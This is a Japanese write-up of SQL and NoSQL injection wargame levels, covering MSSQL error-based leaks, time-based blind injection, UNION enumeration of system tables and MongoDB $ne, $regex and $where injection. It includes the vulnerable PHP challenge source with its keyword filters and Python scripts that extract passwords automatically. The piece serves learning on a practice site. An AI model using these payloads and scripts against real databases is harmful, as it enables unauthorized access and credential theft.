  • 条件式は IIF ( boolean_expression, true_value, false_value )

色々クエリを投げているうちに、エラーの文言が親切すぎることに気づく。

select id from prob_nessie where id='' and pw=''or id='admin' and pw=1--'

MSSQLのerror-basedの例が PayloadsAllTheThings/MSSQL Injection.md at master · swisskyrepo/PayloadsAllTheThings · GitHub に載っているので、これを参考にすると、型が違うのを利用している。他にも色々方法がありそうだけど、まずはもともと pw='' で varchar型で指定するようになっているところを数値に置き換えてみる。

query : select id from prob_nessie where id='' and pw='' and pw=''or id='admin' and pw=1--'

Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Conversion failed when converting the varchar value 'guest' to data type int.

あ、これは多分最初のidが空だったからguestが引っかかってるのかな…。

query : select id from prob_nessie where id='admin' and pw='' and pw=''or id='admin' and pw=1--'

Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Conversion failed when converting the varchar value 'uawe0f9ji34fjkl' to data type int.

おや!uawe0f9ji34fjkl、これは何だ。もしかしてadminのpwか?
入れたらクリアー🙌

これをError-basedと呼ぶのかわからないけど、Errorを利用するのもErro発生の有無しかわからないものと、Errorの文言が利用できるタイプとあるんだなぁ。

revenant

query : select * from prob_revenant where id='' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect();
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select * from prob_revenant where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  sqlsrv_query($db,$query);
  if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));

  $query = "select * from prob_revenant where id='admin'"; 
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['4'] === $_GET['pw']) solve("revenant"); // you have to pwn 5th column
  highlight_file(__FILE__);
?>

またしてもMSSQL
最初のクエリでまたエラーを表示してくれる。
途中まではさっきの問題とだいたい同じだけども、今回は5番目のカラムを当てる必要があるみたい。

select * from prob_revenant where id='admin' and pw='' or id='admin' and pw=1--'

さっきと同じ感じで投げてみると、

query : select * from prob_revenant where id='admin' and pw='' or id='admin' and pw=1--'

Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Conversion failed when converting the varchar value 'jsfa90retjkadsljfn4et' to data type int.

今回は、このとき出てきたjsfa90retjkadsljfn4etではクリアできない。
カラム名一覧を取得するか、またエラーにカラム名を出してもらうようにしなければ。

select * from prob_revenant where id='admin' and pw=''union select 1,2,3,4--'

query : select * from prob_revenant where id='admin' and pw='' union select 1,2,3,4--'

Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

これで、union select 1,2,3,4,5にするとerrorが表示されなくなった。まぁそんな気はしていたけど、カラムは5個。

PayloadsAllTheThings/MSSQL Injection.md at master · swisskyrepo/PayloadsAllTheThings · GitHub ここで紹介されているカラム名列挙の関数を見ていると、禁止されている句がたくさん出てくる。他のDB情報を抜いたりする用語が禁止されてるみたい。

じゃあ、カラム名を指定するようなクエリを投げてみよう。

select * from prob_revenant where id='admin' and pw='' group by id,pw--'

query : select * from prob_revenant where id='admin' and pw='' group by id,pw--'

Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Column 'prob_revenant.45a88487' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

おやおや!出てきた!

どんどん group by の列を増やしていくと

query : select * from prob_revenant where id='admin' and pw='' group by id,pw,45a88487--'

Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Incorrect syntax near 'a88487'.

うん?様子がおかしい。どうやら45までで数値と思われているみたい。

query : select * from prob_revenant where id='admin' and pw='' group by id,pw,"45a88487"--'

Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Column 'prob_revenant.13477a35' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

さらに

query : select * from prob_revenant where id='admin' and pw='' group by id,pw,"45a88487","13477a35"--'

Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Column 'prob_revenant.9604b0c8' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

5つ目のカラム名9604b0c8っぽいぞ!

select * from prob_revenant where id='admin' and pw='' or id='admin' and "9604b0c8"=1--'

これを入れてみると

query : select * from prob_revenant where id='admin' and pw='' or id='admin' and "9604b0c8"=1--'

Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Conversion failed when converting the varchar value 'aa68a4b3fb327dee07f868450f7e1183' to data type int.

長いの出てきた!これをpwに入れればクリアー!!!!

yeti

query : select id from prob_yeti where id='' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect("yeti");
  if(preg_match('/master|sys|information|;/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|sys|information|;/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select id from prob_yeti where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  sqlsrv_query($db,$query);

  $query = "select pw from prob_yeti where id='admin'"; 
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("yeti"); 
  highlight_file(__FILE__);
?>

今度はerrorを表示してくれなくなったぞ。adminのpwがわかればクリア。
Time-basedが使えそうかな。MSSQLのTime-Basedはここが参考になりそう。PayloadsAllTheThings/MSSQL Injection.md at master · swisskyrepo/PayloadsAllTheThings · GitHub

select id from prob_yeti where id='' and pw=''if id='admin' and len(pw)=x waitfor delay '0:0:3' else 1--'

こんな感じでどうだろう。動作するか検証してみる。

select id from prob_yeti where id='' and pw=''if 1=1 waitfor delay '0:0:3' else 1--'

うーん、発動しない。試行錯誤の上、else文の中もちゃんと処理を書くと発動した。

select id from prob_yeti where id='' and pw=''if 1=1 waitfor delay '0:0:3' else waitfor delay '0:0:0'--'

これで3秒waitが入る。MSSQLは型に厳しいんだな。
一応やりたい攻撃のsql文も手動で動作検証。

select id from prob_yeti where id='' and pw=''if id='admin' and len(pw)=1 waitfor delay '0:0:0' else waitfor delay '0:0:3'--'

これも動作しない。これもidがvarchar,lenが数値として認識されるからかな。1"1"にしても動作は変わらず。MSSQL難しい…。
そういえばMSSQLの問題に入ってから、Table名が禁止されていない。下記のようにクエリをまるっとかけそう。

select id from prob_yeti where id='' and pw=''if ((select len(pw) from prob_yeti where id='admin')=1) waitfor delay '0:0:0' else waitfor delay '0:0:3'--'

ヨシ!発動した。このクエリで行こう。

pwのほうは、PayloadsAllTheThings/MSSQL Injection.md at master · swisskyrepo/PayloadsAllTheThings · GitHub これを参考に

select id from prob_yeti where id='' and pw=''if ((select pw from prob_yeti where id='admin') like 'x%') waitfor delay '0:0:0' else waitfor delay '0:0:3'--'

ヨシ、これも行けそう。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import os
import requests
import urllib.parse
import time

url = os.environ['SQLI_URL']
cookie = os.environ['SQLI_COOKIE']
candidates = [chr(i) for i in range(48, 48+10)] + \
    [chr(i) for i in range(97, 97+26)] + \
    [chr(i) for i in range(65, 65+26)] + \
    ["_","@","$","!","?","&","#"]
headers= {'Cookie':'PHPSESSID='+cookie}

def attack(attack_sql):
    attack_url = url + '?pw=' + urllib.parse.quote(attack_sql)
    #print(attack_url)
    start = time.time()
    res = requests.get(attack_url, headers=headers)
    #print(res.text)
    return time.time() - start

def create_length_query(length):
    query = "'if ((select len(pw) from prob_yeti where id='admin')=" + str(length) + ") waitfor delay '0:0:3' else waitfor delay '0:0:0'--"
    return query

def create_pass_query(pw):
    query = "'if ((select pw from prob_yeti where id='admin') like '" + pw + "%') waitfor delay '0:0:3' else waitfor delay '0:0:0'--"
    return query

def check_result(t):
    if t < 3:
        return False
    return True

####################
###     main     ###
####################

# find pw length
for i in range(100):
    query = create_length_query(i)
    t = attack(query)
    if check_result(t):
        length = i
        break
print('pw length: ' + str(length))


# find pw
fix_pw = ""
for _ in range(length):
    for c in candidates:
        try_pw = fix_pw + str(c)
        print(try_pw)
        query = create_pass_query(try_pw)
        t = attack(query)
        if check_result(t):
            fix_pw += c
            break

print("pw: " + fix_pw)

くりあー!🙌

mummy

query : select

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect("mummy");
  if(preg_match('/master|sys|information|;|\(|\//i', $_GET['query'])) exit("No Hack ~_~");
  for($i=0;$i<strlen($_GET['query']);$i++) if(ord($_GET['query'][$i]) <= 32) exit("%01~%20 can used as whitespace at mssql");
  $query = "select".$_GET['query'];
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result[0]) echo "<h2>Hello anonymous</h2>";

  $query = "select pw from prob_mummy where id='admin'";
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("mummy");
  highlight_file(__FILE__);
?>

この問題もMSSQL
asciiで32以下の文字列を使うと怒られるみたい。whitespace防止の様子。/**/も使えない。
何らかの情報が取れれば Hello anonymous を表示してくれる。adminのpwをゲットすればゴール。

ホワイトスペースなしのBlindInjection(Boolean-base)かな。
whitespaceの代替に%A0が使えるかもしれないので試してみる。

select pw from prob_mummy
?query=%A0pw%A0from%A0prob_mummy

うーん、使えないみたい。残念。ググってもこれ以上出てこず。他の方のwriteupを見ると、'[]が使えるみたい。
データベース識別子 - SQL Server | Microsoft Docs

select'pw'from[prob_mummy]where[id]='admin'

おー!Hello anonymous が表示された!あとはpwの長さを求めて、前から中ててくいつものパターン。 ()が使えないので、長さは諦めていきなりpw探しに行きます。

select pw from prob_mummy where id='admin' and pw like 'x%'

select[pw]from[prob_mummy]where[id]='admin'and[pw]like'x%'
#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import os
import requests
import urllib.parse

url = os.environ['SQLI_URL']
cookie = os.environ['SQLI_COOKIE']
candidates = [chr(i) for i in range(48, 48+10)] + \
    [chr(i) for i in range(97, 97+26)] + \
    [chr(i) for i in range(65, 65+26)] + \
    ["_","@","$","!","?","&","#"]
headers= {'Cookie':'PHPSESSID='+cookie}

def attack(attack_sql):
    attack_url = url + '?query=' + urllib.parse.quote(attack_sql)
    #print(attack_url)
    res = requests.get(attack_url, headers=headers)
    #print(res.text)
    return res

def create_pass_query(pw):
    query = "'pw'from[prob_mummy]where[id]='admin'and[pw]like'" + pw + "%'"
    return query

def check_result(res):
    if 'Hello anonymous' in res.text:
        return True
    return False

####################
###     main     ###
####################

# find pw
fixed = ""
is_end = False
while not is_end:
    for c in candidates:
        try_pw = fixed + str(c)
        print(try_pw)
        query = create_pass_query(try_pw)
        res = attack(query)
        if check_result(res):
            fixed += c
            break
        if c == '#':
            is_end = True

print("result: " + fixed)

kraken

query : select id from member where id='' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect("kraken");
  if(preg_match('/master|information|;/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|information|;/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select id from member where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['id']) echo "<h2>{$result['id']}</h2>";

  if($krakenFlag === $_GET['pw']) solve("kraken");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
  highlight_file(__FILE__);
?>

まだMSSQLだ。このあとは全問MSSQLなのかな…

1つ目のクエリ結果のresult['id']を表示してくれる。
flag_{$hash}テーブルにあるkrakenFlagを発見できればクリア。

MSSQLのテーブル一覧取得方法は、

select table_name from information_schema.tables

で取れるみたい。だけどinformationが封じられているので使えなさそう…。

select name from sys.Tables;
select TOP 1 name From Tablename;

も使えそうだけど、;が使えないのか…。
手元で試してみると、手元環境だと;が要らないな。使えるかもしれない。

select id from member where id=''union select name from sys.Tables--' and pw=''

お!これを入れると "a_dummy_table" が出てきた!やった!
これで、flag_{$hash}なtableを当てに行くと良さそう。
でも、ちょっと調べてみるとMySQLのときみたいなLIMIT 1,2みたいな書き方ができないんだな。
上にも書いたようにTOPを使うと、上から○番目までを取ってくるのはできるけど、配列になっちゃう。

select id from member where id=''union select TOP 1 name from sys.Tables--' and pw=''

TOP 1 だと member が返ってくる。

select id from member where id=''union select TOP 1 name from sys.Tables where name like 'flag_%'--' and pw=''

出た!flag_ccdfe62b だそうです!やったー!!!
次はカラム名の取得。

SELECT name FROM sys.columns WHERE object_id = OBJECT_ID('dbo.yourTableName') 

で取れるらしいのでやってみます。配列が返ってきそうだけど、とりあえずなんか返してもらおう。

select id from member where id=''union select name from sys.columns where object_id=OBJECT_ID('flag_ccdfe62b')--' and pw=''

いやー!出たね!嬉しい!flag_ab15b600 だそうです。あとはこのレコードを取ってくるだけ。

select id from member where id=''union select flag_ab15b600 from flag_ccdfe62b--' and pw=''

出た!FLAG{a0819fc56beae985bac7d175c974cd27}
これをpwに入れて送ればクリア!めっちゃ楽しいな₍₍ (ง ˙ω˙)ว ⁾⁾

cerberus

query : {"id":null,"pw":null}

<?php
  include "./config.php";
  login_chk();
  $db = mongodb_connect();
  $query = array(
    "id" => $_GET['id'],
    "pw" => $_GET['pw']
  );
  echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
  $result = mongodb_fetch_array($db->prob_cerberus->find($query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
  if($result['id'] === "admin") solve("cerberus");
  highlight_file(__FILE__);
?>

おおお!MongoDBだ!ついにNoSQL!
お世話になっているサイトだと PayloadsAllTheThings/NoSQL Injection at master · swisskyrepo/PayloadsAllTheThings · GitHub
ここにペイロードがいくつか載っている。

"\を入れてみると、エスケープされてしまうみたい。
NoSQLといえば、無理やり変数を配列にして突っ込む、と言うイメージがあるのでやってみる。

?id=admin&pw[$ne]=test

わ!クリアしちゃった!やったー!

siren

query : {"id":null,"pw":null}

<?php
  include "./config.php";
  login_chk();
  $db = mongodb_connect();
  $query = array(
    "id" => $_GET['id'],
    "pw" => $_GET['pw']
  );
  echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
  $result = mongodb_fetch_array($db->prob_siren->find($query));
  if($result['id']) echo "<h2>Hello User</h2>";

  $query = array("id" => "admin");
  $result = mongodb_fetch_array($db->prob_siren->find($query));
  if($result['pw'] === $_GET['pw']) solve("siren");
  highlight_file(__FILE__);
?>

今回はadminのpwをゲットする必要がある。取ってきたidは表示してくれない。BlindInjection@NoSQLだ。
Extract data information の例を使ってみる。

?id=admin&pw[$regex]=x.*

こんな感じでできないかしら。

?id=admin&pw[$regex]=.*

これを入れて Hello User が表示された。想定通り。適当に

?id=admin&pw[$regex]=1.*

と入れたら、やっぱり Hello User が表示された。あれ?刺さってない?

?id=admin&pw[$regex]=10.*

にしたら表示されなくなったので、偶然1文字目が1だったみたい。ヨシ、行けそう。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import os
import requests
import urllib.parse

url = os.environ['SQLI_URL']
cookie = os.environ['SQLI_COOKIE']
candidates = [chr(i) for i in range(48, 48+10)] + \
    [chr(i) for i in range(97, 97+26)] + \
    [chr(i) for i in range(65, 65+26)] + \
    ["_","@","!","#"]
headers= {'Cookie':'PHPSESSID='+cookie}

def attack(attack_sql):
    attack_url = url + '?id=admin&pw[$regex]=' + urllib.parse.quote(attack_sql)
    #print(attack_url)
    res = requests.get(attack_url, headers=headers)
    #print(res.text)
    return res

def create_pass_query(pw):
    query = pw + ".*"
    return query

def check_result(res):
    if 'Hello User' in res.text:
        return True
    return False

####################
###     main     ###
####################

# find pw
fixed = ""
is_end = False
while not is_end:
    for c in candidates:
        try_pw = fixed + str(c)
        print(try_pw)
        query = create_pass_query(try_pw)
        res = attack(query)
        if check_result(res):
            fixed += c
            break
        if c == '#':
            is_end = True

print("result: " + fixed)

incubus

query : {"$where":"function(){return obj.id==''&&obj.pw=='';}"}

<?php
  include "./config.php";
  login_chk();
  $db = mongodb_connect();
  if(preg_match('/prob|_|\(/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\(/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = array("\$where" => "function(){return obj.id=='{$_GET['id']}'&&obj.pw=='{$_GET['pw']}';}");
  echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
  $result = mongodb_fetch_array($db->prob_incubus->find($query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

  $query = array("id" => "admin");
  $result = mongodb_fetch_array($db->prob_incubus->find($query));
  if($result['pw'] === $_GET['pw']) solve("incubus");
  highlight_file(__FILE__);
?>

Mongo。クエリにコードが書いてあるぞ…!
取得した id を表示してくれる。adminのpwがわかればクリア。

$where — MongoDB Manual

whereの使い方。javaコードを埋め込むのか。java code injectionか(適当)。
javaコメントアウト///**/<!---->/エスケープされてしまうので、最後のを使う。ちゃんと閉じないとクエリが成立しないので、下記のようなクエリを送る。

?id=admin<!--&pw=-->%27||%271==1
function(){return obj.id=='admin<!--'&&obj.pw=='-->'||'1==1';}

こんなクエリが送られ、javasciptとしては

function(){return obj.id=='admin'||'1==1';}

として処理されるはず!
やった!Hello guestが出ましたー!

下みたいな感じで、pwの前方一致を見れるかなーと思ったんですけど。

?id=admin<!--&pw=-->'&& obj.pw.match(/.*/)//+%00
?id=admin<!--&pw=-->'&& !obj.pw.indexOf('a')

(が使えないので弾かれちゃう。

?id=admin<!--&pw=-->'&&obj.pw[0]=='a

お、これは使えそう。出てきたクエリは

query : {"$where":"function(){return obj.id=='admin'&&obj.pw[0]=='a';}"}

これをJsonBeautifireに突っ込むと、ちゃんと正しいjsonになってそう。 スクリプトを書いてみよう。

…書いてみたけど刺さらない。
あれかな。htmlの表示で<!---->コメントアウトされて見えてないけど、確認してみたらしっかり返ってきているので、コメントとして扱われてないっぽいな。

?id=admin'&&obj.pw[0]=='a';'

idだけで何とかやってみて、pwの前にクエリを閉じちゃうパターン。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import os
import requests
import urllib.parse

url = os.environ['SQLI_URL']
cookie = os.environ['SQLI_COOKIE']
candidates = [chr(i) for i in range(48, 48+10)] + \
    [chr(i) for i in range(97, 97+26)] + \
    [chr(i) for i in range(65, 65+26)] + \
    ["_","@","!","#"]
headers= {'Cookie':'PHPSESSID='+cookie}

def attack(attack_sql):
    attack_url = url + '?id=' + urllib.parse.quote(attack_sql)
    #print(attack_url)
    res = requests.get(attack_url, headers=headers)
    #print(res.text)
    return res

def create_pass_query(pw):
    query = "admin'&&obj.pw[" + str(len(pw)-1) + "]=='" + pw[-1] + "';'"
    return query

def check_result(res):
    if 'Hello admin' in res.text:
        return True
    return False

####################
###     main     ###
####################

# find pw
fixed = ""
is_end = False
while not is_end:
    for c in candidates:
        try_pass = fixed + str(c)
        print(try_pass)
        query = create_pass_query(try_pass)
        res = attack(query)
        if check_result(res):
            fixed += c
            break
        if c == '#':
            is_end = True

print("result: " + fixed)

AllClear

ということで、現在公開されている問題は全部クリアー!
とっても楽しかった〜₍₍ (ง ˙ω˙)ว ⁾⁾

公開後も時々問題が追加されているようなので、また追加されたら解いてみたい。

ちなみに、MySQLパートだけ2周やりました。同じ問題だから当たり前ではあるけど、解けるようになった問題が多くて感動した!
特に、1周目は他のwriteupを見ても結局解けずじまい(答えをカンニングしてとりあえず先に進んだ)だった問題があったんだけど、これが解けるようになってて嬉しい。引き出しが増えたということかな(*ˊᗜˋ*)/